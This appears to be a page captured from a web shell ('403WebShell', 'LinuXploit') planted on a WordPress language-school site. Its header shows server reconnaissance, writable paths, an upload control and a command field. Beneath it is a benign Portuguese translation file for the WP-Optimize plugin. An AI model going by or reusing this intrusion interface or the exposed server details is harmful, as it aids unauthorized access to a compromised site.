Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.97.2  /  Your IP : 104.23.243.201
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nicolasj/www/ecoledelangues.be/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nicolasj/www/ecoledelangues.be/wp-content/languages/plugins/wp-optimize-pt_PT.po
# Translation of Plugins - WP-Optimize – Cache, Compress images, Minify & Clean database to boost page speed & performance - Stable (latest release) in Portuguese (Portugal)
# This file is distributed under the same license as the Plugins - WP-Optimize – Cache, Compress images, Minify & Clean database to boost page speed & performance - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2020-03-02 14:06:11+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.3\n"
"Language: pt\n"
"Project-Id-Version: Plugins - WP-Optimize – Cache, Compress images, Minify & Clean database to boost page speed & performance - Stable (latest release)\n"

#: templates/cache/browser-cache.php:59
msgid "hour(s)"
msgstr "hora(s)"

#: templates/cache/browser-cache.php:57
msgid "day(s)"
msgstr "dia(s)"

#: includes/class-wp-optimize-admin.php:822
msgid "Help"
msgstr "Ajuda"

#: wp-optimize.php:1088
msgid "Remove"
msgstr "Remover"

#: includes/class-wp-optimize-admin.php:762
#: includes/class-wp-optimize-admin.php:763
msgid "Database"
msgstr "Base de dados"

#: includes/class-wp-optimize-admin.php:780
#: includes/class-wp-optimize-admin.php:781
msgid "Cache"
msgstr "Cache"

#: includes/class-wp-optimize-admin.php:44
msgid "Tables"
msgstr "Tabelas"

#: templates/settings/settings-logging.php:22
msgid "Destination"
msgstr "Destino"

#: includes/class-updraft-smush-manager.php:804
#: includes/class-updraft-smush-manager.php:1177
#: templates/admin-metabox-smush.php:63
#: templates/cache/page-cache-preload.php:7
#: templates/database/optimizations-table.php:72
#: templates/database/optimizations-table.php:88
#: templates/database/optimizations-table.php:101
#: templates/database/tables-list-after.php:64
#: templates/images/smush-popup.php:35 templates/images/smush-popup.php:68
#: templates/minify/preload-tab.php:27
#: templates/settings/settings-logging.php:48 wp-optimize.php:945
msgid "Cancel"
msgstr "Cancelar"

#: wp-optimize.php:939
msgid "Optimization complete"
msgstr "Optimização concluída"

#: wp-optimize.php:938
msgid "An unexpected response was received."
msgstr "Foi recebida uma resposta inesperada."

#: templates/take-a-backup.php:88
msgid "Please update UpdraftPlus to the latest version."
msgstr "Por favor actualize o UpdraftPlus para a versão mais recente."

#: templates/take-a-backup.php:88
msgid "UpdraftPlus needs to be updated to 1.12.33 or higher in order to backup the database before optimization."
msgstr "O UpdraftPlus tem de ser actualizado para a versão 1.12.33 ou superior, para poder fazer cópia de segurança da base de dados antes da optimização."

#: templates/take-a-backup.php:72
msgid "Follow this link to install UpdraftPlus, to take a backup before optimization"
msgstr "Siga esta ligação para instalar o UpdraftPlus, para fazer uma cópia de segurança antes da optimização."

#: templates/take-a-backup.php:17
msgid "Backup before running optimizations"
msgstr "Cópia de segurança antes de executar optimizações"

#: templates/database/optimize-table.php:67
msgid "You may wish to run a backup before optimizing."
msgstr "Poderá querer fazer uma cópia de segurança antes de optimizar."

#: optimizations/spam.php:265 optimizations/spam.php:275
msgid "Remove spam and trashed comments"
msgstr "Remover spam e comentários no lixo"

#. translators: %s is the number of weeks
#: optimizations/spam.php:263
msgid "Remove spam and trashed comments which are older than %d weeks"
msgstr "Remover spam e comentários no lixo com mais de %d semanas"

#: includes/class-wp-optimize-options.php:166
msgid "Auto backup option updated."
msgstr "A opção de cópia de segurança automática foi actualizada."

#: templates/settings/settings-logging.php:3
msgid "Logging settings"
msgstr "Definições de registo"

#: templates/database/settings-general.php:6
msgid "Whether manually or on a schedule, these settings apply whenever a relevant optimization is run."
msgstr "Estas definições aplicam-se nos casos relevantes para a optimização executada, quer seja manual ou agendada."

#: wp-optimize.php:1063
msgid "Optimize"
msgstr "Optimizar"

#: includes/class-wp-optimize-admin.php:43
#: templates/database/optimize-table.php:38
msgid "Optimizations"
msgstr "Optimizações"

#: templates/database/optimizations-table.php:48
msgid "Run optimization"
msgstr "Executar optimização"

#: templates/database/optimizations-table.php:7
msgid "Optimization"
msgstr "Optimização"

#: templates/notices/thanks-for-using-main-dash.php:109
msgid "Premium WooCommerce plugins"
msgstr "Plugins premium para WooCommerce"

#: templates/notices/thanks-for-using-main-dash.php:107
msgid "More quality plugins"
msgstr "Mais plugins de qualidade"

#: templates/settings/may-also-like.php:301
msgid "UpdraftPlus"
msgstr "UpdraftPlus"

#: templates/pages-menu.php:35
msgid "Newsletter"
msgstr "Newsletter"

#. translators: %s is number of months
#: templates/notices/thanks-for-using-main-dash.php:9
msgid "Dismiss (for %s months)"
msgstr "Dispensar (por %s meses)"

#: templates/notices/horizontal-notice.php:71
msgid "Go there"
msgstr "Visitar"

#: templates/notices/horizontal-notice.php:69
msgid "Sign up"
msgstr "Registe-se"

#: templates/notices/horizontal-notice.php:65
msgid "Get UpdraftPlus"
msgstr "Obter o UpdraftPlus"

#: templates/notices/horizontal-notice.php:63
msgid "Get UpdraftCentral"
msgstr "Obter o UpdraftCentral"

#: templates/notices/horizontal-notice.php:8
#: templates/notices/horizontal-notice.php:38
msgid "notice image"
msgstr "imagem da notificação"

#: templates/settings/settings-trackback-and-comments.php:43
msgid "Use these buttons to enable or disable any future comments on all your previously published posts."
msgstr "Utilize estes botões para activar ou desactivar quaisquer comentários futuros em todos os conteúdos publicados previamente."

#: templates/settings/settings-trackback-and-comments.php:39
msgid "Comments"
msgstr "Comentários"

#: templates/settings/settings-trackback-and-comments.php:11
msgid "Use these buttons to enable or disable any future trackbacks on all your previously published posts."
msgstr "Utilize estes botões para activar ou desactivar quaisquer trackbacks futuros em todos os conteúdos publicados previamente."

#: templates/settings/settings-trackback-and-comments.php:6
msgid "Trackbacks"
msgstr "Trackbacks"

#: optimizations/spam.php:205
msgid "No trashed comments found"
msgstr "Não foram encontrados comentários no lixo"

#: optimizations/trash.php:92 optimizations/trash.php:178
msgid "No trashed posts found"
msgstr "Não foram encontrados conteúdos no lixo"

#: includes/class-wp-optimizer.php:645
msgid "Trackbacks have now been enabled on all current and previously published posts."
msgstr "Os trackbacks estão agora activados para todos os conteúdos actuais e publicados previamente."

#: includes/class-wp-optimizer.php:640
msgid "Trackbacks have now been disabled on all current and previously published posts."
msgstr "Os trackbacks estão agora desactivados para todos os conteúdos actuais e publicados previamente."

#: includes/class-wp-optimizer.php:631
msgid "Comments have now been enabled on all current and previously published posts."
msgstr "Os comentários estão agora activados para todos os conteúdos actuais e publicados previamente."

#: includes/class-wp-optimizer.php:626
msgid "Comments have now been disabled on all current and previously published posts."
msgstr "Os comentários estão agora desactivados para todos os conteúdos actuais e publicados previamente."

#: templates/database/optimize-table.php:42
msgid "Run all selected optimizations"
msgstr "Executar todas as optimizações seleccionadas"

#: templates/database/optimizations-table.php:50
msgid "Go"
msgstr "Iniciar"

#: templates/notices/horizontal-notice.php:48
#: templates/notices/horizontal-notice.php:50
#: templates/notices/install-or-update-notice.php:72
#: templates/notices/install-or-update-notice.php:105
msgid "Dismiss"
msgstr "Descartar"

#: includes/class-wp-optimize-commands.php:712
#: includes/class-wp-optimize-commands.php:760
#: includes/class-wp-optimize-commands.php:802
msgid "No optimization was indicated."
msgstr "Nenhuma optimização indicada."

#: optimizations/optimizetables.php:160
msgid "Total gain:"
msgstr "Ganho total:"

#. translators: %d is number of InnoDB tables
#: optimizations/optimizetables.php:166
msgid "Tables using the InnoDB engine (%d) will not be optimized."
msgstr "Tabelas InnoDB (%d) não serão optimizadas."

#: templates/settings/system-status.php:6
msgid "running on:"
msgstr "Em execução em:"

#: templates/admin-page-header.php:6 templates/pages-menu.php:25
msgid "Home"
msgstr "Início"

#: templates/pages-menu.php:29
msgid "News"
msgstr "Notícias"

#: templates/pages-menu.php:31
msgid "Twitter"
msgstr "Twitter"

#: templates/admin-page-header.php:14
#: templates/notices/install-or-update-notice.php:113
#: templates/pages-menu.php:33
msgid "Support"
msgstr "Suporte"

#: templates/pages-menu.php:39 templates/settings/may-also-like.php:8
msgid "FAQs"
msgstr "FAQ"

#: templates/admin-page-header.php:20 templates/pages-menu.php:41
msgid "More plugins"
msgstr "Mais plugins"

#: includes/class-wp-optimize-commands.php:587
#: templates/database/settings.php:19 templates/minify/advanced-tab.php:337
#: templates/minify/css-settings-tab.php:198
#: templates/minify/font-settings-tab.php:182
#: templates/minify/js-settings-tab.php:261
#: templates/minify/settings-tab.php:128 templates/settings/settings.php:46
msgid "Save settings"
msgstr "Guardar definições"

#: includes/class-wp-optimize-admin.php:398
#: includes/class-wp-optimize-commands.php:1940
msgid "Daily"
msgstr "Diário"

#: includes/class-wp-optimize-admin.php:399
#: includes/class-wp-optimize-commands.php:1945
msgid "Weekly"
msgstr "Semanal"

#: includes/class-wp-optimize-admin.php:400
#: includes/class-wp-optimize-commands.php:1950
msgid "Fortnightly"
msgstr "Quinzenal"

#: templates/database/status-box-contents.php:7
#: templates/settings/settings-logging.php:24
msgid "Status"
msgstr "Estado"

#: wp-optimize.php:1324
msgid "Error:"
msgstr "Erro:"

#: wp-optimize.php:1324
msgid "template not found"
msgstr "modelo não encontrado"

#: includes/class-wp-optimizer.php:175 includes/class-wp-optimizer.php:181
msgid "No such optimization"
msgstr "Esta optimização não existe"

#: templates/database/settings-general.php:20
msgid "This option will, where relevant, retain data from the chosen period, and remove any garbage data before that period."
msgstr "Esta opção manterá os dados relevantes do período escolhido e removerá quaisquer dados desnecessários anteriores a esse período."

#: templates/database/settings-general.php:20
#: templates/database/settings-general.php:34
msgid "If the option is not active, then all garbage data will be removed."
msgstr "Se esta opção não estiver activa, todos os dados desnecessários serão removidos."

#: templates/database/settings-general.php:20
#: templates/database/settings-general.php:34
msgid "This will also affect Auto Clean-up process"
msgstr "Isto também afectará o processo de limpeza automática"

#: includes/class-wp-optimize-admin.php:401
#: includes/class-wp-optimize-commands.php:1955
msgid "Monthly (approx. - every 30 days)"
msgstr "Mensal (aprox. a cada 30 dias)"

#: templates/settings/support-and-faqs.php:3
msgid "Support and feedback"
msgstr "Suporte e feedback"

#: templates/settings/support-and-faqs.php:11
msgid "If you like WP-Optimize,"
msgstr "Se gostar do WP-Optimize,"

#: templates/settings/support-and-faqs.php:13
msgid "please give us a positive review, here."
msgstr "por favor escreva-nos uma avaliação positiva aqui."

#: templates/settings/support-and-faqs.php:15
msgid "Or, if you did not like it,"
msgstr "Ou, se não gostar,"

#: templates/settings/support-and-faqs.php:17
msgid "please tell us why at this link."
msgstr "por favor diga-nos a razão aqui."

#: templates/settings/support-and-faqs.php:8
msgid "Support is available here."
msgstr "O suporte está disponível aqui."

#: optimizations/transient.php:477 optimizations/transient.php:486
msgid "Remove expired transient options"
msgstr "Remover opções transientes expiradas"

#. translators: %s is the number of transient options deleted across network
#: optimizations/transient.php:260
msgid "%s network-wide transient option deleted"
msgid_plural "%s network-wide transient options deleted"
msgstr[0] "Foi eliminada %s opção transiente em toda a rede"
msgstr[1] "Foram eliminadas %s opções transientes em toda a rede"

#: optimizations/orphandata.php:47
msgid "No orphaned relationship data in your database"
msgstr "Nenhum dado órfão de relação na sua base de dados"

#: optimizations/orphandata.php:74
msgid "Clean orphaned relationship data"
msgstr "Limpar dados órfãos de relações"

#. translators: %s is number of weeks
#: templates/database/status-box-contents.php:57
msgid "Keeping last %s weeks data"
msgstr "A manter os dados das últimas %s semanas"

#. translators: %s is number of weeks
#: templates/database/settings-general.php:14
msgid "Keep last %s weeks data"
msgstr "Manter os dados das últimas %s semanas"

#: includes/class-wp-optimize-commands.php:1395
#: templates/database/tables-body.php:61 templates/database/tables-body.php:70
#: templates/database/tables.php:44
msgid "Type"
msgstr "Tipo"

#: includes/class-wp-optimize-admin.php:45
#: includes/class-wp-optimize-admin.php:67
#: includes/class-wp-optimize-admin.php:76
#: includes/class-wp-optimize-admin.php:812
#: includes/class-wp-optimize-admin.php:813 templates/minify/status-tab.php:123
#: templates/minify/status-tab.php:145 wp-optimize.php:1060
msgid "Settings"
msgstr "Definições"

#: templates/database/status-box-contents.php:42
msgid "Refresh"
msgstr "Actualizar"

#: optimizations/spam.php:188 optimizations/spam.php:202
msgid "Review"
msgstr "Rever"

#: optimizations/spam.php:192
msgid "No spam comments found"
msgstr "Não foram encontrados comentários de spam"

#: optimizations/pingbacks.php:62 optimizations/pingbacks.php:119
msgid "No pingbacks found"
msgstr "Não foram encontrados pingbacks"

#: optimizations/trackbacks.php:63 optimizations/trackbacks.php:121
msgid "No trackbacks found"
msgstr "Não foram encontrados trackbacks"

#: optimizations/pingbacks.php:146
msgid "Remove pingbacks"
msgstr "Remover pingbacks"

#: optimizations/trackbacks.php:145
msgid "Remove trackbacks"
msgstr "Remover trackbacks"

#: templates/database/tables-body.php:76 templates/database/tables-body.php:100
#: templates/database/tables.php:46 templates/settings/settings-logging.php:25
msgid "Actions"
msgstr "Acções"

#: optimizations/optimizetables.php:189 optimizations/optimizetables.php:198
msgid "Optimize database tables"
msgstr "Optimizar as tabelas da base de dados"

#: templates/database/optimize-table.php:60
msgid "Warning:"
msgstr "Aviso:"

#: templates/database/status-box-contents.php:60
msgid "Not keeping recent data"
msgstr "Não manter dados recentes"

#: templates/cache/gzip-compression.php:59
#: templates/settings/settings-trackback-and-comments.php:17
#: templates/settings/settings-trackback-and-comments.php:48
#: wp-optimize.php:948
msgid "Disable"
msgstr "Desactivar"

#: templates/cache/browser-cache.php:51 templates/cache/gzip-compression.php:59
#: templates/settings/settings-trackback-and-comments.php:15
#: templates/settings/settings-trackback-and-comments.php:46
#: wp-optimize.php:947
msgid "Enable"
msgstr "Activar"

#: templates/database/settings-auto-cleanup.php:21
msgid "Select schedule type (default is Weekly)"
msgstr "Seleccione o tipo de agendamento (por omissão é semanal)"

#: optimizations/inactive-tags.php:26
msgid "Remove unused tags"
msgstr "Remover etiquetas não utilizadas"

#: templates/database/tables.php:13
msgid "Optimized all the tables found in the database."
msgstr "Foram optimizadas todas as tabelas encontradas na base de dados."

#: includes/class-wp-optimize-commands.php:1392
#: templates/database/tables-body.php:56 templates/database/tables.php:41
msgid "Records"
msgstr "Registos"

#: includes/class-wp-optimize-commands.php:1393
#: templates/database/tables-body.php:57 templates/database/tables.php:42
msgid "Data Size"
msgstr "Tamanho dos dados"

#: includes/class-wp-optimize-commands.php:1394
#: templates/database/tables-body.php:58 templates/database/tables.php:43
msgid "Index Size"
msgstr "Tamanho do índice"

#: includes/class-wp-optimize-commands.php:1396
#: templates/database/tables-body.php:63 templates/database/tables-body.php:71
#: templates/database/tables.php:45
msgid "Overhead"
msgstr "Excesso"

#: templates/database/tables-body.php:85
msgid "Total:"
msgstr "Total:"

#. translators: %s is the number of table(s).
#. translators: %s is the number of tables
#: includes/class-wp-optimize-commands.php:1383
#: templates/database/tables-body.php:87
msgid "%s Table"
msgid_plural "%s Tables"
msgstr[0] "%d tabela"
msgstr[1] "%d tabelas"

#: templates/database/status-box-contents.php:37
msgid "Next schedule:"
msgstr "próximo agendamento:"

#: templates/database/tables-list-after.php:22
msgid "Optimization results:"
msgstr "Resultados da optimização:"

#: optimizations/revisions.php:73 optimizations/revisions.php:171
msgid "No post revisions found"
msgstr "Não foram encontradas revisões de conteúdos"

#: optimizations/autodraft.php:77 optimizations/autodraft.php:132
msgid "No auto draft posts found"
msgstr "Não foram encontrados rascunhos automáticos de conteúdos"

#. translators: %d is revisions retention period in weeks
#: optimizations/revisions.php:240
msgid "Clean post revisions which are older than %d weeks"
msgstr "Limpar revisões de conteúdos com mais de %d semanas"

#: optimizations/revisions.php:248 optimizations/revisions.php:257
msgid "Clean all post revisions"
msgstr "Limpar todas as revisões de conteúdos"

#: optimizations/unapproved.php:94 optimizations/unapproved.php:150
msgid "No unapproved comments found"
msgstr "Não foram encontrados comentários reprovados"

#. translators: %d is the number of weeks
#: optimizations/unapproved.php:189
msgid "Remove unapproved comments which are older than %d weeks"
msgstr "Remover comentários reprovados com mais de %d semanas"

#: optimizations/unapproved.php:191 optimizations/unapproved.php:201
msgid "Remove unapproved comments"
msgstr "Remover comentários reprovados"

#: templates/database/tables-list-after.php:10
msgid "Total size of database:"
msgstr "Tamanho total da base de dados:"

#: templates/database/settings-general.php:3
#: templates/settings/settings-general.php:3
msgid "General settings"
msgstr "Definições gerais"

#: includes/class-wp-optimize-commands.php:1391
#: templates/database/tables-body.php:14 templates/database/tables.php:40
msgid "Table"
msgstr "Tabela"

#: templates/settings/settings-trackback-and-comments.php:3
msgid "Trackback/comments actions"
msgstr "Acções de trackbacks/comentários"

#: includes/class-wp-optimize-options.php:298
msgid "Settings updated."
msgstr "Definições actualizadas."

#: templates/database/tables.php:24
msgid "Database name:"
msgstr "Nome da base de dados:"

#: optimizations/postmeta.php:143
msgid "Remove orphaned post meta"
msgstr "Remover metadados órfãos de conteúdos"

#: includes/class-wp-optimize-commands.php:1390
#: templates/database/tables-body.php:13 templates/database/tables.php:39
msgid "No."
msgstr "N.º"

#: optimizations/transient.php:164 optimizations/transient.php:400
msgid "No transient options found"
msgstr "Não foram encontradas opções transientes"

#. translators: %s is the number of transient options deleted
#: optimizations/transient.php:181
msgid "%s transient option deleted"
msgid_plural "%s transient options deleted"
msgstr[0] "Foi eliminada %s opção transiente"
msgstr[1] "Foram eliminadas %s opções transientes"

Youez - 2016 - github.com/yon3zu
LinuXploit